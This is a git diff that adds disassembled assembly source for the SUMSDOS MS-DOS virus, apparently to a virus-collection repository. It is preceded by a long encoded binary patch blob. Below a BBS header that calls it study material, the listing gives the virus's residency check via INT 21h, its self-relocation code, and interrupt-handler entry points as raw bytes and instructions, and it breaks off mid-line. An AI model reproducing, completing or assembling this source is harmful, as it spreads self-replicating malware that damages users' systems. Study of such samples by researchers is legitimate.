zbM(nxQ(516%>Y`{|L%Zn_$=-BA=S|A(==sYuk&lb;LjndoEL2_WRtM=EW5UZRlPvL za}GCS?2otPz3s0c@A@!2>>6RJiH&jJUnGUrLXp^61N^>vEb~nYgN6_9hMi?Qx$D787%LA;DAZ{L7!=J3PNrlZM@t# zthpmFo<^7l+8a%9#uUigE{s)iw}Y|{T+e{ltKs*x;WzK@K}<%W zdd2qjSZRCYWSpdD{K+_8pdjBNL}co=p1OltA4FLR5hf(0!&=!ZuimI_8?Mh!=un2{ zCd(6yU#6rtUB?<~%E(~fm&*5GL*Ajo6in!r{>1zR$7=O%P}L7vfLCG8t`2(*h4|9P zJ(zyz4x@j~^4r3E_`hP!GT?sNHyOHT8%z~fgs##Y-EkiwVQJ#9{)hjcGluk161xyLaX{Uv?>eb#kAZCb6 zq<=~N3^^LW2~Ayt`u(4GwRgiz1Si?)iiyYi?c~HV!aTJs7&dk&C|rnoI8+DgZoegA z#!mBq=%yIy9bzevsF6b|`bfe5c~o`jSd1gGZ(nm~k<9e!L~Io?j$+v4cd0N|CsZS~ ztRUCOr#=>SHbNbLd)UBv5fYeZe$qS*rkzrMCnSvmo~UZ4C$_8{Hy9PyTEq`tLPIV} z4)YNL$g`B%cet2)Nk=}?GLY0w5~Z?Sm{pY!6_dsi`=*{oQ)=WV2HcPrZN4!C==y!% zj?kNX;X4NhAD4S#EjXQl(Mw@Kx7o4n42a=JOSy4NfVto}!5W7`L?Pc3lf@tg8kvV< zC)|5X#W!F`FzzRInTp$R(0`b*CIBY93XENlMYzt6GyilfFhhV zb?CNHU&ry&Gvd{*TwSPcg2{&LSgq2-r0|6~=!&C@j-FEW@{&;Kok~);ZW7nuGE{YE zDz5;g@`^eX$65-TjMT$x**iY284G(uEYMF+YU)XPv1Pte0KNYDOX>Nnc^5%+_q#JS z4+M-~8$oxMuA0I^Q%UDaK|J>zy-T|$=~eIv#7soHr)nPo%EAys^oOecv2}&43=CP3 zVK~S&xrJS*y8{PrRudREQCL7oQH189#wEo{bAWnz#DHR9*iSE2$?80qvi$RIv~feQ zjC(uzkGn1sKzjX^>%$~Yz90RwmvZS|L&ZV4_b1{F8GT_kKs5ye4HG3?LKD zcaMzEsQZ?f@(y)XQLMJi=P)!|4SKgk&$RN;pNa$Rshr zaN~>YzC^k6M~|IXDthy&yc{HOLF>_#&YF% zAppYpa!^HJYF&hWF~U#^QU01jv+gd2Ge2fOeCdcXntb>zfDeE9hx{658Y97q z%_Q&*Mh(y4pDth@A`=HFcdjdauglW1!%Zv+ZVhnp#ba8l19prGT9w<_DOl~&Jm1>o zzAAf*nSu?_+2!kwS#`~b3w&aZ{Dh!plDk6{xYVXkuEGxb3N3T}ej46Hy(O6lN~|aG zKofHhqM4-?jchIM2!-wdwBNtpV9CV$Q^LJXb|~-xTMawTdlpt`dR#PIk!5M?KA!+B zs@%kY)Kti`qD6?S_3|6wb^zGVaRpMxxWLu8ET)CJO%G*B-9bt+(^mnL11$4n^xS1hlkz2%DI>|6BPnK#VS$y~nZ}!)$3FT7@9;?@X zR7+Z{igUqRAS-36NHVpvwyKQPqUdPiO0~JkJzFCym@)pT z)cs6KSwp?CYANK+2f@nF>-@vN=N4JE^27u5&Y?ombFABEQC6)t{5LEW^dxWh8Ciy& zA`E+h?Te^D6b^^&`?nKIf^1*~Q4-b(6^X%ZMA%|zJ;uYxYyvX{zPU$&)RfdwD4E z>U|E{5g7hEg!XDPxeG_711aWvW;|+n+|8@1A{;)+UXshuvvklJgI>XlYp$}^n@wB< zU@JANRxLX)h-dWP{yvzBU}K`$#j@-!@#1tAZZ-En#$9&&s@x=`5jX7O^MWn|({44TFw&$lR=eWFf)Zl*#p7$KFjKG0dp2kN|6I zxp=e@3!dk$uBDx?oy3)WFG(s&D<*e;T(%E#UT}~afM08UX3tD1ER~!0A;MIGvoEBzTUy@huKy<>j(5!$v)j!2 z+nV#83eE!E3}=?%-5t&?$X4IN$3iCEDUZYFUwO>!%uWp-C#UiUupL{XWOCfT#dhfz zSZBy&Z?2~Nn>8Lx-#pJ2MoJqUvJLNI-SD$WuID<_Zhh8dDgK2TkgDFE_D+Q~)Z5Hr z1(m(!$%ZYu10+QM9@#xzMo`ge%0`=gYu-)LxFnr&WW8VO1Z>TB6KV5T*S0$+5`t}Z z?gKA1<3{+GP_T%_B^Q?g#ymTHX1?Uw%}5+A$U*Lb(*b(qURWm9ukKd&@XnsO!asin*Of55p?bP#|j0NVus0EHa@006x%e;Aq>*ccQw2ml}e z002ZuQc^BKQ%(QC!PwBu(7*rz(R=6{;O>Dyd?xG-B;}hN0)e7lGldq7qVbo45q~9W zw_eK|n_lm|HDwf01gGPfiDFEY+H78%!(d5a!ihLZ%qI>f;J8^jbaRMS0P-9sh^SR@qb`)hVV=%NJZ)yj1W@04xjAvV+XikG4> zKW5MVyt@N2`|?VTclX9X+oy2Q?YCR;gLvfc_FAf4J>3ypad%HNyK|g0TjcEBC#oo3 zG25sIS`18vqh$|D6dpW1m{1jn$9b!_EJ7gO0Y0gt z_x^RE=Zb);V%#+7U+>!d$?uOm`Z+e}mtVAxk)%zs0FD%K4rQWC#mp_RV#=AECy(%1 z_*4hGv#4Q*Zc+;)FA4`2l0~WFrTkX}o%?;Vr$1WZJs!&h1IXYo^oNxk0S9$mcU)ye zo4f#9@-*(XWPZUaAdTfAf5;PHI zQPN9}+}i;#TF>O6e0M2)!@XLxrOzsBWf4B$Nq#~fE^CVxZ|M0NZ*@Ysp%Dk0(#CH zXG{kmf14)J8r*uhpiX*XXzL26DqB9q-)Pyw}%BOzJf_{~jL}I1!%N9-S!MHI8 zK2-f_1{jQm#?fAjVrMtl?271m*VECQYls;4FBb@0{Y(;2|Tbni{cHHSl+(u0$ zQII+U+5A}S)S>NUqW2Z*U)${RQ0F+<;KPAKWI%KnoLgQw8FIr;!8#YxkER41<-)K( zi+axG>2tUebNo&ols%t+<<-~M*dqyvyb-XEjoV0koL)~{c~o={aNdiy!>rJ&%REua z7mk+UeKEi+aV?$j2^)mu-(C030&D0zwME;_0u3XVUC``~L9mXa4v5;fp{=?}(A**f z*rDPJnz={B>F^K9aqhg_=^D-XFE39O+DN;c=EEusUD;PyBwS)rLXmU1J)^b<*|8K^!VnJfHZumGkaP1Y4|r zxb1L?e7-xl(p?Wl_cqb~oiT>fA}c;chL_QGA8~Ez6*d+xK3mWV9Gjs7aL`U6w`~yM zrj~zyU;a)_2L>z4_hB5G66Xdf-r#td6gtd^ zTYQp!bfQlUtjC9-`LKKbQ|SFkK)~{T$>7f002ZuQeQYOK~qitghW(A zLjV8(1w-zbq5pEFR`%FR2n-<2G}YBGG*}+Izn(Y@-149P{)v7f??Bvr?sdC*dPm;( zVEf)dZ+pGFdOGKV^al)$FMIZ&Ub;nIv$}zLIB^&58ROPBo8Ik*t?1*cHushX_pJl_ z-{pD_a&*1!Aj{J)2DiCdL%sa@Qtw$VmA!tzcdd_Jxzf({@_U~2GV2Dt$D&@E>R`P- zZy8?mnyc3P!!J&!xUWa5owvF&pu60V9qGJ<-sr(+UYHHN?!WhX*mkRj$G8K%)`s`L zZ2H4jbP#|l0D=+#0A@Y_000yS!*lNjApjIL3IHGg002Z%K}SzcEB%J#L>wrBlEc7*viT2^C4!W3up{AzFr-vwJR=ETMAs(}a4-;YxPyQ` zP!DD-@;Gx(E)WUAN5%mFl5l({WdNC?(6Cf1_*a-wXy%f%y?v$^e-wXu9a%Fa`y=@T?5T4#a8dU6 z`}{AFykvE?!FHFW2kn%oz8lE)dD_Wf42lCzKj2nym##ML(uLALBGeKXt-uf<0CQkmyw~(y+0y078t-w{q6LG)4_pE z&ucRQysZ9&PIU{1Ko?K%bqeFl7P)~Arisgd^mX*4Y8N<)-?kiJ9_<}1X^@_?D|YI8 z0NKvD(0^|2$PP|7sUFnE3Gs1w#rEQE*RQW4P24qfh8rkrpngu6s0x9 zACHN@TkKuH>p<-I{6Wp4993QUmouo+JAnB_fnD>}nJ!5EV8xS4P| zwL`&G>C{|qbqcmCIGb2;?RZg%n-lm2?yHS?-MV(EZg|_DOUm6>DKs4l!5{tHbkvZgKv4p6WhHnVie^qK!F1i5>?T;;gCB*4FKE~(OLuCAH5w{HbPcq5tkAd>Nb4%Y) z8(HJvB!jcxFs?7N)?lgE*=7aX+k3-ua3$({sc^rl(ol8wO(9G07K^=BhjV}2rR1ph zap-nQ$n4JGfiSx>K^OEZI2i_T=xAu()z4m=c}s{?se=d4F3hkn9fvM&N$Jl~Zoq5v z+aYgo`!ZD!0{b!$@Ov>MO74l$VeG;aq`l{c&rx<&X-SY@n(5N8*Wj>@fxFy!dB}S0 zqA$*f7qWDD@VHQ~WMFD(Yc!s^5I(%Y^MeEN0C8*~?Y3|%Tdnz3=7Y*i*g!|QTnt)* zz_wvFlZBvy0xOrP)DYwS*Su8u*7V@&inI6p8AL;|2hg!idl<7a3yb95_Q4)L20 zAQ2xZW3U2Ei`)oxDwc!1KypUI<%nnUR-E+Lr;a%~w&mYkraC)D@RZ$Q0~nGBbp<^; zb6nZ3!T{Jp2V96r0vxgsk|=|t&?4{5ttl-UL`L6r3Nr{XY3U;X%KHrr3PmGQ=U5k!dAfUHj8$`DfP6*-Fo?o8;WaS_ z0QH8*Hs0tUBokNQb7qnBiU+Dvx~7mI5be==r-{bq(s%@w%EI5_Ju?MF2S{eKz7CJX zO_D&5qUibpYWGmYQ>Uw`y1J$K+V_xQI`<;O2DkM3YVT2vWBhA=iK z?N^P@{(k@Hn#fKW9i#lZf(SN3$g4$u=|5Wpm#x)b%es2ZBi~9dOiGrBjUOZbK`=l_ zU`S3UKuM5IG_+aSoC!|ix8ruWu)oGM7HKv4CCv9ZyUniTx%(7x&)d0U~J5K$0P7-EH0W*5iecbZrZN|_C7%>PM4)RopKvM(?2%7M# zjD+orAZ-I!x|>L`00(#l)+ymg0Cp)F@&d!~xEVasj+Px!bQaAAEOuIZ%Dg!2wR9Cb zD{9;k*o_Olur`x>5I?JV%^ABzwX=?vv13`g(`UJC{zh8C(MW)4AmRk?K13^(2WR=D z7ltbIGD$#(7v0anLc+^2R(6OX9V-e_Uc;FkQTYwbo5>l!PXRO?JRwcKB+FUzW#kK0 zgr>za)=Fe|(TM~U_Q0e4Ya|Wj7xJ`?d{rn~zIZw~+tXxm?F4ZBx%!uh-YZ2!7zZLBcLjGh2C=R8{aFipmdMl z5a;S?_K?TXMob9X4YJ9AHdV6RSCo6z3#v`A;P4B1KNK;eA@ zeZ*%GBEIC52+`)X06mRc4BwQ~;$r29BRZOLO>+=;sfdC;qw z0*HH3@E2WQ|3V7U^T>gCoBeEw=0kM(&(SD3)Ol|bfXXBf@|-PHEV+dgK?>PXC~(^N z#_5~@PnTux74_|hDR2AS4Cp-ki)x!As zf(mbwX=*Z6>ryLP2ZA|9a1z0T!2i6h?wnsK}*!}S=vapDY8Twgm{D} zhSD4h1Q*G8f_`aGosp<9Cq|ll>?OJT2@TkqaL~H}2ttsHMEURPz`wyE4V6M;FhOo6 z>ahW?>IiGt7w)#V!|5r;4Tv@mrg6B5RPihp}ix7&DQtzd0h#qT6U&cH@b3 zCCt)|h886#7J5$)h$n zJWlWbj*Fp@Gc)sS;4_9$(-OHvQWMqH~bVAQ2ZDfHkl8wXhHd;v#2 zi)JKWYA}__LK7nuxzPh2 z(uc<2J%Dmzfq>?jKqyzmg0$Tc1g-Wu3gj}s0&q&W|I#+L#_W7`wN4Wjkc zw;)ZBT-(IBI{Ix;euL~?&edrDM9aM74>Pj3m#2ZIQ+1CUn>8LoCvj3BgAv7&%7PzA zlLAOUia}?c{qvI9s<}GjZGvTY5LrY8q5cDyhd%S2#pBT|ji)p5`9#RU%mg$PoahLj z6aTcm@@uN)EKZ$#vX}!DND%DhFRVwK2m_6Y3V48EG4IpFmpnbcF=b1X6gn2Uj^4J_ zm?em~om?}?JR8R9Fl~g0s+BBm8AA+QMKwo#Xs|!POu-dp$cjvzLA^R zda~a9ihf0AraW2mFVQir`YfkU3^f2btT^wRPA)4Y1Mq(1G`)6UjIjXsOWu{M>c}Nb zK_!>4(jpPZ{^FO1ce zyClAOsCPyyx1wFy_^+NyIIdJSDmg_mfZtAKltqHH zSiZ;KNZElLh8$)jKHN!1lh^DuohM|jxZPBqAKfb!r~u!7B%CJ%3nlk1{h@pc90Mq}HALiuq{x+E7qxrfEN!LjSShwDr$jkX zu@vR%U5l*r|FQ14ILetBI%zk_s7ACSg$hQsjueymOPYR*m=R2z#pUrckgyvdpkMJP zSyw~@i;Id%U`|9$2(dZ5`e{7{;ANmLFJ{ ziQ!c|gXrPf%5yY3uYCaIE}*gIRAqq2l?t8*s?&4Dg3Fp1cuHm_eJTSLfi!Dsc_^c5 z)S=_9_jUZ`^|>^X#vkb@N*V?-qIOpeXr3I`Bhbh{)M6Ra&>SZBTwDh zIssYCQ6|viMN6S(avcjgB#+sc7`!klGoQ2f03;Z$HnhaIeo#Vq3WTe9Bq~yKxpVER z6H-Vz>Jz@UAY&kcEL4F+`*gbI{9?E-XhuT(PPiv@6jnpyRNI zW#owKH}b#q(O%??SO>*!H9h*T=4n5Z(gKN?|Eq=@k;6??iD?XDv~V*O) zgmB%bC-iu1RHa2|zoxWFW;eQc#M5U_&fDc-X~*k_qo0qW*D^uU^O>U}z23upyC7;~ z!m^k2HI9vs>^+H<7A8G?!w~sbunG$K{odj0BJ=8Xr5jBjUMVOlDTAg;k-*Ya@OL@- z9j50AWAxD=p8y=H0JIIV(CEni;o%_dehT&K(3@hq_E!!; zAM%+M;K`Ty_<_0Ev?3HW2ml}e002-=PDd_5Q%(PZ05PHx8lnIKt9$H5 z{v6*X++~k|Ur~-WIR$hssk#a@ptA3qoP*0FKmYhQL$}5h8oEzKGhHli9!B|Qaq)pN zrAn3EDWK=!Qbg2B`Fxb6AV7G@{tN8xM~Afi|M@P|0RGE-fAM&(T~hcb6DqyBiSQ3BggLs7*N%L_+`8L) z_iuqi;L+;UvrR+e;@sJ)Us>X)@TZ!!^k|)s)2u%U?lU|!IxpVQcZ;ymu=U795{Z9` z*}Ze~=4--8L*;-;11yCsNtySoFsr)pa9GsdTP=g=fSxvMeRJ90Z2QF zp(J-^bz&f-59T~qBIcePy5$6q*`iR`q4EbO)(!`^#lA7byx>yt<4_OQ4hOdY1;b^A z05H*WM}M1Xp|z9Rwj=tKu;?FS zSI)LYIDQ|NADX??@26HJZy|VqH@neG%sw^@jw_C4EHd}oHw6n8$Y`A z9EH&gi%54&zARZuB!w$OApW#zhzA@2WS_8Scgp@bhw{O4fIYd4(?vLWDakCa3OR)a z;n}I~4&%`F^$LrJ;91~$EHhB<9R4($Ji4mikEYlPSsrTJF0di!F)+!Ow;Dep#*Yn~ z_AlPShCu#waUDWL(#>;_#Y=OqI0&ubWe_;xxy<%b*n6+RDQ@6s-x@`$#nI1zOXD5s zvWDB{$b>mT*JXaHy8))U=^-GPpGSq@XwX7{Bd%7jJcf z24lKFT+sX^Bh6hW$!{8M~*aew}=5@ zkZjf`XR3X$&oy<)0*8kbA0Ev5FKM2MMIKd{yYpT;vEd@AEimDiMB^svwvn4?l5 zg51N=!RrSL21Cy<#O^fZ@B@HWl=x@HURA*~Y7%G^4Sk_3EjFzT$AX_y(~_d0-`(P9 zQ@;H{vA5vW%&k(zzpI7McEew;<;n+jzXu}d=$gOv*fXYzA>V`s=_8ANDCno(NrU0d z+e&7mTg)oy*joj26;lj477RJzOn3Cw%+jcCJPoSg*sBM1`RQtR z77wh$JXIGmuX}%gb>z3cul@e}(r5c0x?lZ|L`O1ER4&K@#U-z4*#y$Vd)Pk_ezlMd zca%V&>M{?v)D(b#2tBw8pw+Crs!z)}snAT{cNK2aR=|C%PSaoRsrCY(1xOrh3SLo@ z2Hf^%peB*^`|*1gyl`X~s<8Z0a`8Ju>#rK5B2vx!1tpkQ6NheiyQL={g@w)^)JDl& zNu~Qvw1y8`=uBKzfV5R2#CI7>H*p3)+YH~Q8C0E8LBgoI07EnK&+(Vsia*42u zSw%q8^7o2pUYNHA-8|zyk047BK`$<&{3!?kMl{+3*3v!62!3ouU*nZ?rxmBDql{Te z)~t4!$x*=+6Ly3fGiHxcGm$x?lbIHpFbph(PO@*<>7MC}V691Z*yR*kJOJ(@vxz`BbHY%G|%>(0VD{XSkX{m70 z;i2K5`AbSoIo7T>3-JDBO&cy*~JKRdn}3ai$KLW zcmW`2<-S=SW3Y4mvWHjOHhuxE#q4fmveeW3q9pvb&*Wizfb)$M}-DZFFc_A|u=O1V9knH{F*qsq zDg#DyzgWYJv<(a^>K8Z{Xp`@?h`YIe5W=*x)_5g~ml5)$BG3|-g$$kqYA9$)JTmMw zA-I%*pp?g=vT>;=^Uqcx5+dTLnj3^3Pt-|Q6r&}vOY}V zUNoRXjUr?`7D`HCE{hG$$6X)i!Aia=4=e@-gW)O2kztm?;G^&NoV%mPFJz9O8Kk3I zh2*qhB9+AOHMlppWv~QcfuI9}S`T-L#X+bY1bF_^nbwJx#h`?`RKXCYCMEAW?o-)0 zN%GJw>+qj(H&w{}r3aB`yco5d8r(Dlhdg{UNl8Fn4#vpwmCnQ$-fV6%= zD=;{TNs|dJpb+a5ukeU`-Ezwlia;JEHkDGb0C8+u^DDdZ<8TwU=G(@=4goZ;aYy_GwnDfasXAHG2{i<9d@ zVF6V@V1SMB#9d!=q$EapRTx7M5nx6MdHp;?Ff0rq?%~mF6uG^$C*Vl10MT^HNV$BA zF+tX?paK<3d(=1DK;lnYoQ5ceB4M(h~ehA5_lyS*5shNb)ZO4jP; zn4yOwtUFF^QSm-893jBe_EURmy1YR^Au8GwQ*}xLmP4u^E20Fz{w~DvyJY7m=FIFq zL-)Wo32+OB*{eXIfS%!=u(g?)#-lbxwYB9(wgH_NN|ZieqEz#2sN~^5t;^%jsf}!9 z#on$#l^%r!&NJlmyklG8B3tq#*ib`bO&rtY1rY^jE9nvS}_H&^65C zurj}EU`VW_IPf+mgRnTi>ev-2ybQ1}9+YZ0Hr4jKH`|iu?gtTt4t<~eojVal&#$&8 zcLVRoRPFv088Y1jel2sPmaKtFOJSE9r>jX*V>ymWV6m9cuvIiO!nXul>T`a(oNXuU zlNJT68NICD3{4MKOiIUw2;{MlgV9*END7V{ zDNVc3NKq0WGRRFhq?5#b8It+x=on56>Tdz1>SXgcwe{-Zm9_(q(|L6P4gOti@=!cy z|4%-*dEiO{zdAz+D&@Xu~lLvOIq{2CP+# zv%siBT6m;IJ=WhKbKc%k6ORPVA0ze1M0o#DMA_%iR&DC=YI@wNvs8y)Z+wQxIu775 zm03bq5S4EfpoO_kK&nPw2TSFV)O zFgCWSl&VtBHM_&7TFDY$3Xg{3-i1tQqOM0!Pz@rehhwsV!m5T5(mX1Jp;w6`ilG}L z&^yM(NOM$%kXpXI%*$E?`v@Ug|Jx~2st%E|c4Qr{SehiAo2B=9D_tBKI|p`24? zSw&p4H&X1Y>};uoCkERZF&Tyf5fhOcLr) z(NU*ip^j29PFLL(3X!*tb*-}a*5w(@m{6P8{3TWbV*<}K?bpWn_Ab(Pp>6 zhwODX;f-q30e1F`BLfl$4UXVISS%3U#~JK2Mfz?-uFgfvMxdo$)uE$;D3Mje+i*VG zTtU6k*^YCr{Jjm8w&K9I&u z&-N-pU&;<;uHb$zB$M+Qw+;(-8xBZuh!ZwOrL91vYx1Xn*&!Gzbl*NN0>IJDvTlXR z`(gxqy%KGohT3pv-DpvV4Z%9aqcva(WJ8SuD}irSF@k=II^fi(462BJM9(KD8jqBf zw1qGaAkB%NFU%n*%N35r2SLPALS7|Q?w?x~GSW(Bt_5Z$TT_h>B4AnX$Rh#{!@@(K zO;HWGUQ9#u6(0pHWKzTl&HD3oKFard(oIB^syI@&d}S#RBs#uoO8?6`u%okcW#}wedSK7_EIKd{iGjo=CZY@`4 z+p;9uw4-F=EQ48U5*9ypO*9xsT61hvyNjZ@y3BFg%L?IWgj=D6O)!Dn!T@Y*f$Br1 zWxD5a_hv=f$aM|8^_^qGWfK?~>MpWH_u;kJw6O3FDZyGSHQLD8xPYe*UbE+H3=Z)L zekiKIL9K3qUDK-5CauiDGaknD^ljV`D#It`jK_KMPj((r+cL@eJCt9-xk9$NKX&Bs zH(AVt_Tu+k-f7pd*Y!%9p^w*XF3NAiPk&B&{+Vl1uylDk2%I>o~5k~Ve)i$kTNLap6q{7#DU zHE~lLjTM(+@7avl-4H)?oBKa>dR_v7%b@&rmq&%*D4)hy-5r2mexjTdsT6a+bbF4* z=CN}+k1?gLk*TA`6S}`c< zaF}Z87s|YWJMJNMiMF!CH?BUs9qKt3M3Z==!%Yae102k`npAB}AB8Rw0li^q=f;!h z36Y=Bn-DPKhW6mh33N$10{*jtcH=#M3Xa#B97z-4$L)7QWN77B?kVshwH!#qSKw2P zl&RUKuh;hn8iTwk83r5>)jmb_fBwweSh6}b;m0L1V(hLo_EY=2DH*GkRd5~(<6mt! zrlz|dTu|LLHTKgKviEotBd)j`Uto9B{CnvN$M~!2E0h3pVSFi`yRpevk4CRUnD>?U zKkLqCDG}=gqizOi)|wK`ie!Eg4&tw~vC}%}!vC;8?0Fp=duiv_((nfO{;<%`r4DlO z1pym1sA2PYqshgmsZG6vn7N2?(s8mxT)qyC)zEfUFT=|8P6>V!cVuVhl+`g8{Z?GH zmBfgO@DoPueaLUuZ6Ep$F&T$p!Rolc8umW99d21Zu8`u*cB8UfI8h8_;cKc{_$kZJ zPpx{xqD)otiUG@KjK5H6U!8vm__yx(&mXpwVMsgl5b>0^?L1_;{T<$T_|Ox>TX(N|vRrZ5 of)$r)?7>{|x5}PL08+RDsuywW@k2`SMHh?v3|Bhx>ev52@BtGaMF0Q* literal 0 HcmV?d00001 diff --git a/MSDOS/Virus.MSDOS.Unknown.sumsdos.asm b/MSDOS/Virus.MSDOS.Unknown.sumsdos.asm new file mode 100644 index 00000000..fb88b2d9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sumsdos.asm @@ -0,0 +1,786 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +PAGE 60,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 SUMSDOS 栩 +;栩 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +DATA_1E EQU 2CH ; (0000:002C=0FF23H) +DATA_2E EQU 43H ; (3E00:0043=0FFFFH) +DATA_3E EQU 45H ; (3E00:0045=0FFFFH) +DATA_4E EQU 47H ; (3E00:0047=0FFFFH) +DATA_5E EQU 49H ; (3E00:0049=0FFFFH) +DATA_6E EQU 51H ; (3E00:0051=0FFFFH) +DATA_7E EQU 53H ; (3E00:0053=0FFFFH) +DATA_8E EQU 57H ; (3E00:0057=0FFFFH) +DATA_9E EQU 5DH ; (3E00:005D=0FFFFH) +DATA_10E EQU 5FH ; (3E00:005F=0FFFFH) +DATA_11E EQU 61H ; (3E00:0061=0FFFFH) +DATA_12E EQU 63H ; (3E00:0063=0FFFFH) +DATA_13E EQU 65H ; (3E00:0065=0FFFFH) +DATA_14E EQU 78H ; (3E00:0078=0FFFFH) +DATA_15E EQU 7AH ; (3E00:007A=0FFFFH) +DATA_16E EQU 7CH ; (3E00:007C=0FFFFH) +DATA_17E EQU 7EH ; (3E00:007E=0FFFFH) +DATA_18E EQU 0AH ; (6CAF:000A=0) +DATA_19E EQU 0CH ; (6CAF:000C=0) +DATA_20E EQU 0EH ; (6CAF:000E=0) +DATA_21E EQU 0FH ; (6CAF:000F=0) +DATA_22E EQU 11H ; (6CAF:0011=0) +DATA_23E EQU 13H ; (6CAF:0013=0) +DATA_24E EQU 15H ; (6CAF:0015=0) +DATA_25E EQU 17H ; (6CAF:0017=0) +DATA_26E EQU 19H ; (6CAF:0019=0) +DATA_27E EQU 1BH ; (6CAF:001B=0) +DATA_28E EQU 1DH ; (6CAF:001D=0) +DATA_29E EQU 1FH ; (6CAF:001F=0) +DATA_30E EQU 29H ; (6CAF:0029=0) +DATA_31E EQU 2BH ; (6CAF:002B=0) +DATA_32E EQU 2DH ; (6CAF:002D=0) +DATA_33E EQU 2FH ; (6CAF:002F=0) +DATA_34E EQU 31H ; (6CAF:0031=0) +DATA_35E EQU 33H ; (6CAF:0033=0) +DATA_36E EQU 4EH ; (6CAF:004E=0) +DATA_37E EQU 70H ; (6CAF:0070=0) +DATA_38E EQU 72H ; (6CAF:0072=0) +DATA_39E EQU 74H ; (6CAF:0074=0) +DATA_40E EQU 76H ; (6CAF:0076=0) +DATA_41E EQU 7AH ; (6CAF:007A=0) +DATA_42E EQU 80H ; (6CAF:0080=0) +DATA_43E EQU 82H ; (6CAF:0082=0) +DATA_44E EQU 8FH ; (6CAF:008F=0) + +CODESEG SEGMENT + ASSUME CS:CODESEG, DS:CODESEG + + + ORG 100h + +sumsdos PROC FAR + +start: + JMP LOC_2 + DB 73H, 55H, 4DH, 73H, 44H, 6FH + DB 73H, 0, 1, 0BCH, 17H, 0 + DB 0, 0, 5, 0, 2BH, 2 + DB 70H, 0, 6EH, 6, 20H, 0BH + DB 0EBH, 4, 14H, 0AH, 92H, 7BH + DB 0 + DB 12 DUP (0) + DB 0E8H, 6, 0ECH, 37H, 17H, 80H + DB 0, 0, 0, 80H, 0, 37H + DB 17H, 5CH, 0, 37H, 17H, 6CH + DB 0, 37H, 17H, 10H, 7, 4CH + DB 72H, 0C5H, 0, 4CH, 72H, 0 + DB 0F0H, 46H, 0, 4DH, 5AH, 60H + DB 0, 0CEH, 2, 9FH, 26H, 0C0H + DB 9, 7, 0, 7, 0, 75H + DB 4FH, 10H, 7, 84H, 19H, 0C5H + DB 0, 75H, 4FH, 1EH, 0, 0 + DB 0, 0B8H, 0, 4CH, 0CDH, 21H + DB 5, 0, 20H, 0, 49H, 13H + DB 91H, 0B3H, 0, 2, 10H, 0 + DB 50H, 93H, 5, 0, 5BH, 3DH + DB 70H, 0ABH + DB 'COMMAND.COM' + DB 1, 0, 0, 0, 0, 0 +LOC_2: + CLD ; Clear direction + MOV AH,0E0H + INT 21H ; DOS Services ah=function E0h + CMP AH,0E0H + JAE LOC_3 ; Jump if above or = + CMP AH,3 + JB LOC_3 ; Jump if below + MOV AH,0DDH + MOV DI,100H + MOV SI,710H + ADD SI,DI + MOV CX,CS:[DI+11H] + INT 21H ; DOS Services ah=function DDh +LOC_3: + MOV AX,CS + ADD AX,10H + MOV SS,AX + MOV SP,700H + PUSH AX + MOV AX,0C5H + PUSH AX + RET ; Return far + DB 0FCH, 6, 2EH, 8CH, 6, 31H + DB 0, 2EH, 8CH, 6, 39H, 0 + DB 2EH, 8CH, 6, 3DH, 0, 2EH + DB 8CH, 6, 41H, 0, 8CH, 0C0H + DB 5, 10H, 0, 2EH, 1, 6 + DB 49H, 0, 2EH, 1, 6, 45H + DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H + DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH + DB 3, 7, 2EH, 8EH, 16H, 45H + DB 0, 2EH, 8BH, 26H, 43H, 0 + DB 2EH, 0FFH, 2EH, 47H, 0, 33H + DB 0C0H, 8EH, 0C0H, 26H, 0A1H, 0FCH + DB 3, 2EH, 0A3H, 4BH, 0, 26H + DB 0A0H, 0FEH, 3, 2EH, 0A2H, 4DH + DB 0 + DB 26H + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +; +; External Entry Point +; +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +int_24h_entry PROC FAR + MOV DATA_46,0A5F3H ; (6CAF:03FC=29H) + MOV ES:DATA_47,0CBH ; (6CAF:03FE=2EH) + POP AX + ADD AX,10H + MOV ES,AX + PUSH CS + POP DS + MOV CX,710H + SHR CX,1 ; Shift w/zeros fill + XOR SI,SI ; Zero register + MOV DI,SI + PUSH ES + MOV AX,142H + PUSH AX + JMP FAR PTR LOC_1 + DB 8CH, 0C8H, 8EH, 0D0H, 0BCH, 0 + DB 7, 33H, 0C0H, 8EH, 0D8H, 2EH + DB 0A1H, 4BH, 0, 0A3H, 0FCH, 3 + DB 2EH, 0A0H, 4DH, 0, 0A2H, 0FEH + DB 3 +int_24h_entry ENDP + + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +; +; External Entry Point +; +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +int_21h_entry PROC FAR + MOV BX,SP + MOV CL,4 + SHR BX,CL ; Shift w/zeros fill + ADD BX,10H + MOV CS:DATA_35E,BX ; 